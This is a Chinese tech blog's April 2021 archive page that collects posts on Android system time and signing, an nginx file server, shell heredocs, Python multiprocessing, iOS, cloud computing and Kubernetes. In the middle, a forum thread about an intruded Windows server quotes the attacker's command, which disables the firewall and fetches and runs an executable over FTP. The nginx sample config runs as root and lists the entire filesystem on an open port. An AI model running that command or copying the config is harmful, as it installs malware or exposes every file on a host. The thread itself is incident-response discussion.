月度归档: 2021 年 4 月

修改Android系统默认时间

一 : 修改Android系统默认时间

源码路径:frameworks/base/services/java/com/android/server/SystemServer.java
主要变量EARLIEST_SUPPORTED_TIME

  1. // The earliest supported time. We pick one day into 1970, to
  2. // give any timezone code room without going into negative time.
  3. private static final long EARLIEST_SUPPORTED_TIME = 1514764800000L;//20180101 00:00:00

%title插图%num

通过SystemClock.setCurrentTimeMillis(EARLIEST_SUPPORTED_TIME)设置系统时间,只需要修改EARLIEST_SUPPORTED_TIME变量的值。

  1. private void run() {
  2. try {
  3. traceBeginAndSlog(“InitBeforeStartServices”);
  4. // If a device’s clock is before 1970 (before 0), a lot of
  5. // APIs crash dealing with negative numbers, notably
  6. // java.io.File#setLastModified, so instead we fake it and
  7. // hope that time from cell towers or NTP fixes it shortly.
  8. if (System.currentTimeMillis() < EARLIEST_SUPPORTED_TIME) {
  9. Slog.w(TAG, “System clock is before 1970; setting to 1970.”);
  10. SystemClock.setCurrentTimeMillis(EARLIEST_SUPPORTED_TIME);
  11. }

%title插图%num

设置系统默认时间这段代码请放在startOtherServices()之后,否则无效(不同的平台代码略有差别,可以自己评价该放在什么位置)。

  1. // Start services.
  2. try {
  3. traceBeginAndSlog(“StartServices”);
  4. startBootstrapServices();
  5. startCoreServices();
  6. startOtherServices();
  7. //add by jasun@180730 for default time start
  8. if (System.currentTimeMillis() < EARLIEST_SUPPORTED_TIME) {
  9. Slog.w(TAG, “System clock is before 2018.; setting to 2018.”);
  10. SystemClock.setCurrentTimeMillis(EARLIEST_SUPPORTED_TIME);
  11. }
  12. //add by jasun@180730 for default time end
  13. SystemServerInitThreadPool.shutdown();
  14. } catch (Throwable ex) {
  15. Slog.e(“System”, “******************************************”);
  16. Slog.e(“System”, “************ Failure starting system services”, ex);
  17. throw ex;
  18. } finally {
  19. traceEnd();
  20. }

%title插图%num

二 : 时间转换为UNIX时间戳

EARLIEST_SUPPORTED_TIME变量值如何获取?
Linux命令转换时间戳,如下:

  1. $ date +%s –date 19700101 –utc // 1970-01-01 00:00 UTC
  2. 0
  3. $ date +%s –date 20120101 –utc // 2012-01-01 00:00 UTC
  4. 1325376000
  5. $ date +%s –date 20160101 –utc // 2016-01-01 00:00 UTC
  6. 1451606400

%title插图%num

反之,也可以把某个UNIX时间戳转换为具体日期,如下:

  1. $ date –date=@86400 –utc // Android默认EARLIEST_SUPPORTED_TIME值为86400×1000
  2. 1970 01 02 星期五 00:00:00 UTC
  3. $ date –date=@1451606400 –utc
  4. 2016 01 01 星期五 00:00:00 UTC
  5. $ date –date=@1451606400
  6. 2016 01 01 星期五 08:00:00 CST

%title插图%num

nginx搭文件服务器

安装nginx
yum -y install nginx

搭建文件服务器
1.改为root用户
原来的nginx.conf里,*行是

user ngix; # 不同版本的不一样
改为

user root;

2.加一个server
①配置文件位置
[root@VM_0_9_centos ~]# find / -name nginx.conf
/var/opt/gitlab/nginx/conf/nginx.conf
/opt/gitlab/embedded/lib/ruby/gems/2.4.0/gems/unicorn-5.1.0/examples/nginx.conf
/opt/gitlab/embedded/conf/nginx.conf
/etc/nginx/nginx.conf # 这个是要找的文件

②html目录
/usr/share/nginx/html # 默认的
1
③在原来的nginx.conf里加一个server配置
配置写在http { } 里面,与其他server 同级别。

autoindex on;# 显示目录
autoindex_exact_size on;# 显示文件大小
autoindex_localtime on;# 显示文件时间

server {
listen 8080 default_server;
listen [::]:8080 default_server;
server_name _;
#root /usr/share/nginx/html;
root /data/;

location / {
}

error_page 404 /404.html;
location = /40x.html {
}

error_page 500 502 503 504 /50x.html;
location = /50x.html {
}
}

参考:https://www.jianshu.com/p/95602720e7c8

3.启动
service nginx start
service nginx stop
service nginx restart # 重启
nginx -s reload # 修改配置后重启,或者使用reload重载配置文件

4.访问界面
%title插图%num

5.完整的nginx配置参考

user root;
worker_processes auto;
error_log /var/log/nginx/error.log;
pid /run/nginx.pid;

# Load dynamic modules. See /usr/share/nginx/README.dynamic.
include /usr/share/nginx/modules/*.conf;

events {
worker_connections 1024;
}

http {
log_format main ‘$remote_addr – $remote_user [$time_local] “$request” ‘
‘$status $body_bytes_sent “$http_referer” ‘
‘”$http_user_agent” “$http_x_forwarded_for”‘;

access_log /var/log/nginx/access.log main;

sendfile on;
tcp_nopush on;
tcp_nodelay on;
keepalive_timeout 65;
types_hash_max_size 2048;

include /etc/nginx/mime.types;
default_type application/octet-stream;

# Load modular configuration files from the /etc/nginx/conf.d directory.
# See http://nginx.org/en/docs/ngx_core_module.html#include
# for more information.
include /etc/nginx/conf.d/*.conf;

server {
listen 80 default_server;
listen [::]:80 default_server;
server_name _;
root /usr/share/nginx/html;

# Load configuration files for the default server block.
include /etc/nginx/default.d/*.conf;
include /etc/nginx/conf.d/*.conf;

location / {
}

error_page 404 /404.html;
location = /40x.html {
}

error_page 500 502 503 504 /50x.html;
location = /50x.html {
}
}

autoindex on;# 显示目录
autoindex_exact_size on;# 显示文件大小
autoindex_localtime on;# 显示文件时间

server {
listen 6868 default_server;
listen [::]:6868 default_server;
server_name _;
#root /usr/share/nginx/html;
root /;

location / {
}

error_page 404 /404.html;
location = /40x.html {
}

error_page 500 502 503 504 /50x.html;
location = /50x.html {
}
}

}

Android 系统签名实现的三种方式

在项目开发时,如果需要使应用具有系统权限,例如可以支持静默安装和卸载APK,此时就需要使用系统签名。
常用的系统签名方式包括在ubuntu环境下、手动签名和在AndroidStudio环境配置,三种方式中,实现*简单的是通过AndroidStudo方式,该方式的签名实现与正常的APK签名相同,唯一不同的就是签名文件是通过系统生成的。
注意,无论采用何种签名方式,如果想实现具有系统权限的应用,在APK生成时,都需要在AndroidManifest.xml中配置android:sharedUserId=“android.uid.system”,如下所示

%title插图%num

1. ubuntu环境编译

该方式需要在安卓源码编译的环境下,在将APK打包至安卓系统升级包时,需要配置Android.mk文件,通过在配置LOCAL_CERTIFICATE 参数时,将其设置为PRESIGNED,如果需要改APK具有系统权限,使用系统签名,则需要设置为platform

%title插图%num
在设置好 Android.mk 文件后,在ubuntu环境下执行系统的编译流程。
如果之前在ubuntu环境下已经执行好了系统的编译流程,则可以直接cd到系统的package/apps目录下,进入到需要编译的APK文件目录下执行mm指令,或在其他目录执行mmm /package/apps/APK所在的文件夹名称。

2.手动签名

手动系统签名与Android的APK重签名不同,重签名是之前APK已经签名完成,在实际使用时,需要更改签名文件,例如一些特殊的算法处理对于系统的包名和签名都有绑定操作,如更换则无法使用。
手动系统签名是对于通过AndroidStudio的build生成的无签名的APK文件,进行手动系统签名操作。具体执行过程如下。

2.1 下载SignApk.jar
首先下载SignApk.jar包,如下图所示

%title插图%num
如果本地有安卓系统的源码,可以直接在本地的build\tools\signapk目录下查找到该jar包。

2.2 查找security文件
拿到系统定制厂商提供的security文件,不同编译下生成的security文件内容不同,需针对该安卓系统下的编译生成的security文件,因此这也限定了该系统签名后的应用只能在该系统下运行,在其他系统下运行就不具有系统权限。
在security文件中找到media.pk8和platform.x509.pem两个文件。

2.3 执行系统签名操作
将2.1中的SignApk.jar和2.2中的media.pk8和platform.x509.pem文件一起复制到包含需要签名的APK文件夹中,然后执行如下语句

java -jar signapk.jar platform.x509.pem platform.pk8 old.apk new.apk

生成的new.apk文件就是系统签名后APK文件。
该方式的操作,可参考安卓签名工具SignApk.jar使用教程,其已将签名的流程制作成Window下的.exe工具,只需一次配置,每次点击更换需要签名的文件即可。

3 AndroidStudio方式
通常对于APK的签名文件是通过AndroidStudio的New Key Store方式自定义实现,但是如果需要使用系统签名文件需要结合security文件中的media.pk8和platform.x509.pem两个文件,通过keytool-importkeypair实现,下载成功后,将media.pk8和platform.x509.pem两个文件放置在包含 keytool-importkeypair目前下,执行以下语句。

./keytool-importkeypair -k ./platform.keystore -p android -pk8 platform.pk8 -cert platform.x509.pem -alias platform

需要注意的是:

该语句的执行是在ubuntu环境下执行的
platform.keystore为系统签名文件
android为签名密码
platform为签名的别名(alias)

生成系统签名后,在AndroidStudio中配置Signing签名信息,配置成功后在modle的buid.gradle中可以查看如下配置信息。

%title插图%num
4.总结
从以上的分析中可以看出,无论三种那种方式的实现,都离不开系统源码中的security目录下的media.pk8和platform.x509.pem两个文件,该两个文件是保证应用具有系统签名的前提,如果使用其他系统的文件,则在该系统中,无法具有系统权限。
对比以上方法,分为具有ubuntu和没有两种环境下。

具有ubuntu的编译环境:则使用*种比较简单,第三种生成的系统签名文件,可用于其他APK的签名使用,在AndroidStudio中配置后,方便调试使用,不必每次都执行命令行来生成签名后的APK文件。
不具有ubuntu的编译环境:该方式只能通过第二种方式实现,且每次调试使用时都需要替换APK生成新的系统签名后的APK,操作比较繁琐。当然在2.3中也提到,可借助其他同学制作的小工具方便签名文件的使用。

参考
安卓签名工具SignApk.jar使用教程
让Android Studio支持系统签名
keytool-importkeypair 使用

怎么判断服务器数据是否被盗?Windows 文件访问时间没作用?

假设某台 Windows Server 2008R2 / 2012R2 被入侵了,

各位会使用什么方法判断某些文件是否被下载或读取过(比如 abc.txt 文件)?

Windows 的文件访问时间 感觉似乎不是我们通常理解的那样,

也即:只读访问后 它的时间属性不会有任何变化。

所以似乎无法通过文件访问时间 判断 abc.txt 这个文件是否被人访问或下载过?

还有其它可行的方法来判断吗?

wkl17 1
wkl17 2019-02-27 06:21:42 +08:00

为何 V2EX 发 imgur 的图片,有时可以自动解析,有时却不行?
delectate 2
delectate 2019-02-27 06:31:43 +08:00
没用的,看这个毫无意义;一般是看日志,不过日志会被删除。要么恢复日志进行分析,要么文件加密让他下回去没意义(事后诸葛亮),别无他法。
wkl17 3
wkl17 2019-02-27 06:32:24 +08:00
或者更直接一点说吧。有一台作为远程桌面用的 Windows,没跑什么服务。

但我今天发现 cmd 命令行有些异常命令(因为执行某个不存在的 exe 卡住了,所以我通过 procexp 查看到这个异常命令)。

刚搜了一下,命令就像这个 2011 年的百度知道问题:

https://zhidao.baidu.com/question/263547971.html

有个 cmd 尝试执行 ftp 命令行下载某个 exe 程序 并执行。但好在我服务器安装了普通的 HIPS,

根据 HIPS 软件的日志,已成功阻止了它下载。虽然也没什么重要数据,但我好奇的是,

这个入侵者能执行类似这样的命令:c:\windows\system32\cmd.exe /c net1 stop sharedaccess&echo open 117.41.184.58> cmd.txt&echo 123>> cmd.txt&echo 123>> cmd.txt&echo binary >> cmd.txt&echo get cao.exe>> cmd.txt&echo bye >> cmd.txt&ftp -s:cmd.txt&p -s:cmd.txt&cao.exe

那服务器上的某个文件(比如刚才举例的 abc.txt )如果被入侵者下载或读取过,是否有办法判断出来?
wkl17 4
wkl17 2019-02-27 06:43:40 +08:00
@delectate 请再看看我上楼补充的内容。我粗看了 Windows 系统日志,应用程序、安全、系统 这 3 项日志没有发现什么明显异常的日志信息。而且文件读取记录肯定也不会记录在 Windows 系统日志的。服务器也没有跑 Web,所以 i 也没有 Web 日志。

我遇到的情况跟百度知道那个问题很像,也是先尝试 net1 stop sharedaccess (不过被 HIPS 阻止了)。
各位认为对方执行这样的命令,可能是通过什么漏洞来实现的?

服务器是 2K12 R2,除了 R2 的近 900MB 的补丁和 xx 月恶意软件删除工具 没打,其它的补丁很久以前都打过了。

因为也没跑 web,所以打了补丁后 也没做更多的优化,只是使用 HIPS 类软件控制联网(需手工放行)

但我刚才 netstat,发现 137、138、445 的端口还是处于监听状态。不过我也测试了从外网 telnet,

确认这几个端口无法从外网通讯。(应该是被防火墙挡下了)。
yw9381 5
yw9381 2019-02-27 08:54:10 +08:00 via Android ❤️ 1
基本判断。服务器已经是被入侵了。对方应该是用脚本批量化抓肉鸡之类的操作。个人猜测它对你服务器上应该什么都没动。而且下载这个 exe 的过程也被 HIPS 拦截了。
建议对服务器整体的安全做一个检查。去看看对外开放的端口(netstat -ano|findstr 0.0.0.0)。如果有用到 MSSQL 版本<=2005 请将 MSSQL 服务降权运行。打上*新的补丁(Windows Update 就可以)
具体环境还是要因机器而异。如果方便的话我还是希望能够看看定位一下具体问题然后再做处理
有其他的安全上的问题可以继续讨论
mmdsun 6
mmdsun 2019-02-27 12:37:52 +08:00 via Android
系统打了补丁黑进去可能性*低。应该是安装的软件有漏洞,比如 Redis,IIS 之类的。建议用标准账户。管理员账户上锁。
QQ2171775959 7
QQ2171775959 2019-02-27 13:53:15 +08:00
看一下服务器的日志吧。
CallMeReznov 8
CallMeReznov 2019-02-27 13:57:05 +08:00
3389 端口也得改,我前几天就因为这个中招了 7-8 台机器都挂了
visonme 9
visonme 2019-02-27 14:03:18 +08:00
你说的这些都是在应用层可以被清空修改的东西,就算有保留,你看到的也不一定就是真实的数据。

怎么看不清楚,或许需要交给专业的安全人士
如果从开发角度来说,有两种方式可以达到监控,一个是 hook 相关的操作 API,然后记录,另一种通过文件监控驱动实
wkl17 10
wkl17 2019-02-27 20:52:09 +08:00
@yw9381
@mmdsun
@QQ2171775959
@CallMeReznov
@visonme
没有跑 Web 服务,MySQL 当时也没运行,而且我通过 HIPS 工具阻止了从公网访问 3306。默认的 3389 也早就改掉了。
或者,假如想分析对方究竟是利用什么漏洞来入侵的,各位可有分析的方法或工具分享一下?谢谢。

yw9381 11
yw9381 2019-02-28 00:17:38 +08:00 via Android
@wkl17 这个就得具体看服务器上跑了什么业务。需要做一些可能牵扯取证及攻击朔源的工作。做攻击行为分析。如果可能的话。我还是比较希望能够以远程的形式接入服务器看看到底对方是怎么搞的。找出问题根本在哪
wkl17 12
wkl17 2019-02-28 01:08:41 +08:00
@yw9381 感谢!感觉入口应该还是 Windows 的组件。我暂时先将一些服务关闭了,再观察看看。
WinRM、MSMQ、lmhosts(NetBIOS)、ScDeviceEnum(SmartCard 相关服务)
我很早以前也安装了实时流量统计工具,但是它的功能比较简单,虽然可以查看所有历史流量。
*大多数流量是 svchost.exe 产生的,但是我使用 rdp 连接,流量应该也被包含在内。所以无法单独统计 rdp 究竟占用了多少流量。否则应该就能逆向分析我这个问题了。

各位如果哪位知道有什么办法 可以精确统计 Windows 各组件通过 svchost.exe 进程产生的流量,请分享一下方法。
yw9381 13
yw9381 2019-03-01 02:31:10 +08:00 via Android
我觉得根本问题还是要先排查可能的途径。单纯流量意义不大。而且对方用你机器做什么你也不知道。更别说一些 rootkit 技术或是混淆伪装之类你根本看不出来的方法
opengps 14
opengps 2019-03-23 08:05:55 +08:00 via Android
本机写个监控,记录日志。。。

python多进程

python多进程

1.使用进程完成多任务
1.1多进程示例程序
# from threading import Thread # 1 多线程方式1
import threading # 2 多线程方式2
import time
import multiprocessing # 多进程方式

def test1():
while True:
print(“1———-“)
time.sleep(1)

def test2():
while True:
print(“2———-“)
time.sleep(1)

def main():
# Thread() # 1
# tp1 = threading.Thread(target=test1) # 2
# tp2 = threading.Thread(target=test2)
# tp1.start()
# tp2.start()

tp1 = multiprocessing.Process(target=test1) # 2
tp2 = multiprocessing.Process(target=test2)
tp1.start()
tp2.start()

if __name__ == “__main__”:
main()

进程完成多任务所耗费的资源比较大

线程依赖于进程 没有进程就没有线程

2. 通过队列完成进程间的通信
示例程序

import multiprocessing

def download_from_web(q):
# 模拟从网络下载数据
data = [11, 22, 33, 44]
# 向队列写入数据
for temp in data:
q.put(temp)
print(“—download complete.—“)

def analysis_data(q):
“””数据处理”””
waiting_analysis_data = list()
# 从队列获取数据
while True:
data = q.get()
waiting_analysis_data.append(data)
if q.empty():
break
# 模拟数据处理
print(waiting_analysis_data)

def main():
# 1.创建一个队列
q = multiprocessing.Queue(3)
# 2.创建多个进程,将队列的引用当作实参进行传递到里面
p1 = multiprocessing.Process(target=download_from_web, args=(q,))
p2 = multiprocessing.Process(target=analysis_data,args=(q,))
p1.start()
p2.start()

if __name__ == “__main__”:
main()

3. 进程池
示例程序

import os
import multiprocessing

def copy_file(file_name, old_folder_name, new_folder_name):
“””完成问价的复制”””
print(“=====>模拟COPY文件:从%s—>到%s 文件名是:%s” %(old_folder_name, new_folder_name, file_name))

def main():
# 1.获取用户要复制的文件夹的名字
old_folder_name = input(“请输入要COPY的文件夹的名字:”)
# 2. 创建一个新的文件夹
try:
new_folder_name = old_folder_name + “[复件]”
os.mkdir(new_folder_name)
except:
pass
# 3. 获取文件夹的所有待COPY的文件名字 listdir()
file_names = os.listdir(old_folder_name)
# 4. 创建进程池
po = multiprocessing.Pool(5)
# 5. 向进程池中添加copy文件任务
for file_name in file_names:
po.apply_async(copy_file,args=(file_name, old_folder_name, new_folder_name))
po.close()
po.join()

# 5. 复制原文件夹中的文件到新的文件夹中

if __name__ == “__main__”:
main()

Linux小技巧:cat > file 和 EOF 的妙用

一、引言
*近在学习《Kafka 权威指南》的时候,在第二章安装 Kafka 的地方看到了关于 cat 的这么一种用法:

%title插图%num
乍一看这句 cat > file << EOF 的用法,我有些迷惑,但是能够肯定的是,我知道这句命令的作用是什么:

这是作者在安装 Zookeeper 过程中使用的命令,目的是在 /usr/local/zookeeper/conf 下创建一个配置文件 zoo.cfg,在 zoo.cfg 输入三行配置信息,并且手动输入 EOF 作为结束文件内容输入的结束标志。

作为 Linux 的菜鸟,我被这样的用法给深深的震撼了 T_T,接下来让我们仔细分析下这个看上去很简单的命令,来看看为什么它能够做到这一点。

二、探索
探索一条命令*好的方法,自然就是去尝试它,这也是 Python 设计 IDLE 的目的所在,那就让我们抛开复杂的理论,直接开始吧。

1. 尝试 cat > file
我们首先尝试去掉后面的 << EOF

# cat > file

然后发现它在新的一样闪现着光标,意味着可以输入内容,可以简单的输入一个 1

# cat > file
1

这里我们没法使用 EOF 作为文件结束标识,只能使用 Ctrl + C 或者 Ctrl + D 才能结束掉文件内容输入。此时我们看一看文件内容

# cat file
1

当然了,我们可以再尝试着对 file 文件进行一次 cat 写入操作,写入一个 2,然后 Ctrl + D

# cat > file
2
# cat file
2

由此,我们得知,cat > file 可以对 file 文件内容进行编辑,一旦 file 文件存在,则 file 原来的数据被新输入数据覆盖,并且在输入的时候,光标前方没有 > 提示符(cat > file << EOF 是有的),*后,标记输入文件完成的方式也只有使用 Ctrl + C 或者 Ctrl + D。

2. 尝试 << EOF
我们再来尝试下 << EOF 的作用

# << EOF
>

我们发现出现了新的一行,并且光标闪烁意味着可以输入内容,在光标前面还有 > 提示符,我们可以简单输入一个 1

# << EOF
> 1
>

接着,我们可以发现,Ctrl + C 和 Ctrl + D 可以暴力中断 << EOF 命令

# << EOF
> 1
> ^C
# << EOF
> 1
> -bash: warning: here-document at line 76 delimited by end-of-file (wanted `EOF’)

当然,看上去使用 EOF 作为结束是*合理的

# << EOF
> 1
> EOF

此时,我发现 << EOF 结束了也就结束了,内容去哪里了呢,我们试着用一个变量去接住它的值呢

# a=<<EOF
> 1
> EOF
# echo $a

 

惊奇而又伤心的是,我们发现 a 并没有像我们想象的那样输出 1,看来 << EOF 并非是一般的缓存信息。但是令人很开心的事情,仿佛我们又发现了一个新大陆,因为我把 EOF 输错了

# << EFO
> 1
> EOF
> EFO

哈哈,这真是一个有趣的事情,我把 EOF 输错为 EFO,结果结束判定字符串就变成了 EFO 而不是 EOF 了。

3. 将 cat > file 和 << EOF 合在一起
此时,再思考 cat > file 和 << EOF 合在一起的行为就不是那么难了。其中 cat > file 负责创建 file 文件,并提示用户输入文件内容,<< EOF 负责显示提示符 >,并且以 EOF 判定文件内容输入结束。

三、原理
尝试的过程是非常轻松惬意的,不过我还是更倾向去找一下权威的解释。

1. cat > file 背后的原理
根据我在网上的搜索,我发现 cat 命令的定义是这样的

cat 命令用于连接文件并打印到标准输出设备上。

而 > 在 linux 是意味着输出重定向的。简而言之,cat > file 就意味着

cat > file 用于创建文件并将标准输入设备上的内容输出重定向到 file 文件中去

2. << EOF 背后的原理
根据我在网上的搜索,得知

EOF是END Of File的缩写,表示自定义终止符.既然自定义,那么EOF就不是固定的,可以随意设置别名,在linux按ctrl-d就代表EOF.

果不其然,这个与我在上一步中的探索结果是一致的。

3. 扩展
我们既然说到了 > 意味着输出重定向,那么还可以使用 >> 来代表着追加内容而不是覆盖内容,同样的,<< EOF 和 > file 的位置也不是固定的,二者可以交换。

# cat > file << EOF
# cat << EOF > file
# cat >> file << EOF
# cat << EOF >> file

这里大家可以自行尝试,对于熟悉这个惯用法还是比较有用的 ^_^

四、总结
虽然这么简单的一个 cat > file << EOF 延伸出来讨论了这么多,好像看上去有些啰嗦了,但是我个人还是挺喜欢这种 发现->探索->原理 的模式去学习和记忆一些技能的。

总的来说,当你想要方便的往一个文件中写入多行内容,又想要同时能够在命令上中输入,并且自定义文件结束符的,就可以使用 cat > file << EOF 的模式来完成。

 

IOS开发入门之二——*个App

如果你对怎么开始IOS开发都不懂的话,请看点下面的链接,先学习关于IOS开发环境的配置以及Swift语言入门:

IOS开发入门之一——Swift语言基础
本章将教大家创建一个标准的苹果手机应用并让它在手机模拟器上运行起来。

一、创建IOS工程
1. 打开Xcode软件,如下图所示,点击红框处,创建一个Xcode工程

%title插图%num

2. 在第二个界面,只要确保左上角选择的是“iOS”,中间选择的是“Single VIew App”,就可以点击右下角的“Next”按钮进入下一步。

%title插图%num

3. “Product Name”后面输入工程名称,”Language”后面可以选择使用的开发语言有Object C和Swift两种可选,我们选择Swift。然后点击右下角的”Next”

%title插图%num

4. 选择一个目录用于存放这个工程,然后点击右下角的”Next”

%title插图%num

二、编译运行

1. 进入工程界面后,其实点击下图中左上角红色框中的按钮可以直接运行程序(虽然这时我们还没有写一行代码)。编译成功后,会弹出“Build Succeeded”提示框,然后系统会启动手机模拟器,模拟器*次启动会比较慢,请耐心等待。细心的人会发现,工程界面左上角有一个“iPhone 8 Plus”的按钮,点击这个按钮可以选择不同的手机模拟器来启动。

%title插图%num

2. 模拟器启动后,会自动开始运行我们的*个App,运行结果如下图。可以看到,手机界面上一片空白,那到底我们的App有没有运行成功呢。可以点击模拟器下方的”Home”键,返回到手机的桌面查看我们的App。

%title插图%num

3. 从下图红框可以看出我们的”MyFirstApp”已经安装成功。

%title插图%num

漫画趣解——云计算的起源

云计算作为作为一个新兴的技术时尚名词,正受到计算机软件和互联网技能人员及商业模式研究人员的高度追捧,他们百折不回地认为云计算能把他们带出创新枯竭的互联网应用沙漠,并让他们跃升到同行中更高的岗位。

他们视其为救命稻草,他们计划抓住云计算这根看起来模含糊糊的稻草,正是如此,云计算文章铺天盖地,种种格局的研讨会此起彼伏,以致已经生长到以讹传讹、神乎其神、不能自拔的田地了。到底什么才是云计算呢?来看看下面这段对话吧!

*开始,人们使用算盘

后来,人们用电脑

再后来,人们有了网络

再后来,中国人口大爆炸,男女比例男的比女的多 3700 万,这三千多万人没事干,都去上网。于是服务器吃不消了。

于是人们就发明了牛逼的技术,用更好更多的服务器

再后来,人更多了,于是服务器也更多了

但事实上这样的效果并不好,过度繁重的结构加大了网站设计和构架的难度,而且越是复杂的系统越是不稳定。有可能一个出问题,这样一个完整的系统就彻底挂掉。如果考虑到系统的崩溃情况,那势必要引入一个更复杂的方案来保证不同的服务器可以做不同的支援。这是一个无解的循环,大量的计算资源被浪费在无限制的互相纠结中,很快到了瓶颈。

人们想,那我不用这么乱七八糟复杂的系统,我上个*其牛逼的服务器不就好了?可是,太贵了……而且*牛逼的也还没制造出来……

于是人们突然想到了一个好办法:把所有计算资源集结起来看成是一个整体(一朵云),通过并发使用资源完成操作请求。每个操作请求都可以按照一定的规则分割成小片段,分发给不同的机器同时运算,每个机器其实只要做很小的计算就可以,这是哪怕 286 机器都轻松完成的。*后将这些机器的计算结果整合,输出给用户。

对用户看来,他其实根本面对的不是许多机器,而是一个似乎真正存在的计算能力巨牛无比的单个服务器,比十台 System z10 大型主机揉一起,或是开创了 petaflop 新纪元的“拂晓”号与“红杉”号还要牛。事实上这个服务器是不存在的,但它拥有着成千上万台服务器的能力。

下面来看实例。

实际上过程没这么简单。哪怕是统计收集资料的过程也会占据可怕的处理时间。这就将云计算的任务进一步划分下去,哪个服务器的 CPU 干什么,处理哪个任务段。 这个其实可以由算法安排成自动分配的。

总之,压榨每一个步骤的潜力,让一个任务被服务器集群们一起上,自然能飞速达成。 别忘了,云计算不是弄个两三台质低价廉的服务器就可以达成的。每一朵云背后都有着一坨异构平台服务器,尤其是搭在企业防火墙里头的“私有云”。

因为企业的计算需求往往是复杂的,选择不同的平台应对不同的计算需求*划算,这跟农民伯伯拉什么或选什么车的道理一样。新鲜大白菜首选摩托车,保新鲜求快就用刀片;高级大白菜首选靠谱运输工具 Power 服务器;大量的高级大白菜选择大货车,正如I/O吞吐量大的数据适合使用大型主机 System z 一样,总比牛车一趟两趟要快吧?大型农场不会局限于某一种植物正如大型企业不会只有一种计算需求。于是便有了负责中枢管理、监控的软件 Tivoli,难不成用人脑统计?

*后,农民伯伯(很牛的 IT 客们)把这些车队集结起来就构成了一朵云背后比较硬的部分。很少 IT 大佬可以集齐全套车型,据我所知貌似只有 IBM 可以。 接下来解决比较软的问题:在已有的计算资源的基础不变的情况下,云计算把用户的任务请求做除法,一个请求进来,我们把它变成许多个小任务段,*后汇总出去给用户一个完整的结果。对用户来说,他根本感觉不到里面哪个 cpu 做了什么处理,哪部分是哪部分拼接起来的,他就感觉自己面对一台 5 亿内存 3 亿 GHZ 的巨无霸电脑一样。

用户对这样的计算莫名其妙,云里雾里的,于是他就把这个东西,叫做云计算。

cat和EOF的组合妙用

有时候,我们可能会使用脚本去生成一个临时文件,然后把该文件作为*终文件放入目录中。这样有几个好处,其中之一就是临时文件不是唯一的,可以通过变量赋值,也可根据不同的判断生成不同的*终文件等等。

1. cat和EOF简介
cat:该文本输出命令用于显示文本的全部内容,并全部打印输出

EOF:文本结束符,即“end of file”,表示文件内容的结束

在shell脚本中将cat与EOF组合使用,可避免使用多行echo ‘xxx’打印命令方式,并实现多行文本输出的结果。常见的使用方式有以下几种:

cat >FileName <<EOF:新建文件并多行导入文件内容,结尾以EOF输入字符为标准输入结束;“<”是重定向,会将你输入的内容输入到目标文本中。
cat <<EOF >FileName,文件追加,实现多行文本的输出,cat的多行内容有$等特殊字符时,须利用转义字符\,其结尾以EOF作为输入结束,可以对已有文件内容进行编辑修改;
cat >FileName :可以对 file 文件内容进行编辑,一旦 file 文件存在,则 file 原来的数据被新输入数据覆盖,并且在输入的时候,光标前方没有 > 提示符(cat > file << EOF 是有的),*后,标记输入文件完成的方式也只有使用 Ctrl + C 或者 Ctrl + D
2. 说明
新建文件,并导入多行文件(新建文件或覆盖文件内容)
这里写一个A.sh脚本如下:

#!/bin/bash

cat > kube.txt <<EOF
OPTS=”–logtostderr=false\
–v=4 \”
EOF

执行#sh A.sh脚本,再cat一下看执行结果:

OPTS=”–logtostderr=false –v=4″

这里,我们修改一下脚本内容,将里边的参数–logtostderr=false,–v=0,再试一下呢:

#!/bin/bash

cat > kube.txt <<EOF
OPTS=”–logtostderr=true\
–v=0 \”
EOF

再cat一下查看下执行结果:

OPTS=”–logtostderr=true –v=0″

这里,可以看到我们cat > FileName <<EOF 可以对 file 文件内容进行编辑,一旦 file 文件存在,则 file 原来的数据被新输入数据覆盖

当然,不通过脚本,我们在终端去手动敲:

# cat > kube-scheduler << EOF
> #文本内容
> EOF

如果使用echo打印输出,则繁琐,必须这样去写:echo -e   “#!/bin/sh \n #文本内容” > kube-scgeduler。-e表示escape。

追加文件方式

cat << EOF > kube.js,内容和上边的雷同

[root@master01 scripts]# cat << EOF > kube.js
> OPTS=”–logtostderr=false\
> –v=4 \”
> EOF

查看一下:

[root@master01 scripts]# cat kube.js
OPTS=”–logtostderr=false–v=4 \”
这时已存在kube.js文件了,我们重新再输入不同内容试一下:

[root@master01 scripts]# cat << EOF > kube.js
> OPTS=”–logtostderr=true\
> –v=0 \”
> EOF

查看一下:

[root@master01 scripts]# cat kube.js
OPTS=”–logtostderr=true –v=0 \”

可以看到,我们以文件追加方式,实现多行文本的输出,cat的多行内容有$等特殊字符时,须利用转义字符\,其结尾以EOF作为输入结束,可以对已有文件内容进行编辑修改。

此时,再思考 cat > file 和 << EOF组合或者 cta << EOF >file组合在一起的行为就不是那么难了。其中 cat > file 负责创建 file 文件,并提示用户输入文件内容,<< EOF 负责显示提示符 >,并且以 EOF 判定文件内容输入结束。

如何将云原生工作负载映射到 Kubernetes 中的控制器

Kubernetes 不仅仅是一个容器管理工具。它是一个平台,旨在处理包装在任意数量的容器和组合中的各种工作负载。Kubernetes内置了多个控制器,可映射到云原生架构的各个层。

DevOps工程师可以将Kubernetes控制器视为指示团队运行的各种工作负载的基础架构需求的手段。他们可以通过声明方法定义所需的配置状态。例如,容器/pod作为ReplicationController的一部分部署保证始终可用。打包为DaemonSet的容器保证在集群的每个节点上运行。声明式的方法使DevOps团队能够利用代码控制基础架构。下面讨论的一些部署模式遵循不可变基础结构的原则,其中每个新的部署都会导致原子部署。

DevOps工程师可以通过声明方法定义所需的配置状态——每个工作负载映射到控制器。

了解云原生用例

Kubernetes的控制平面不断跟踪部署,以确保它们符合DevOps定义的所需配置状态。

Kubernetes的基本部署单位是一个pod。它是Kubernetes的基本构建块,是Kubernetes对象模型中*小和*简单的单元。pod表示集群上正在运行的进程。无论服务是有状态的还是无状态的,它总是打包并部署为pod。

控制器可以在集群中创建和管理多个pod,处理在集群范围内提供自我修复功能的副本。例如,如果节点发生故障,控制器可能会通过在不同节点上安排相同的pod用来自动替换该故障pod。

Kubernetes配有多个控制器,可以处理所需的pod状态。如ReplicationController、Deployment、DaemonSet和StatefulSet控制器。Kubernetes控制器使用提供的pod模板,来创建其负责pod的所需状态。与其他Kubernetes对象一样,Pod在YAML文件中定义并提交给控制平面。

在Kubernetes中运行云原生应用程序时,运维人员需要了解控制器解决的用例,以充分利用平台的特性。这有助于他们定义和维护应用程序的所需配置状态。

上一节中介绍的每种模式都映射到特定的Kubernetes控制器,这些控制器允许对Kubernetes的工作负载进行更精确,细粒度的控制,但是采用自动化方式。

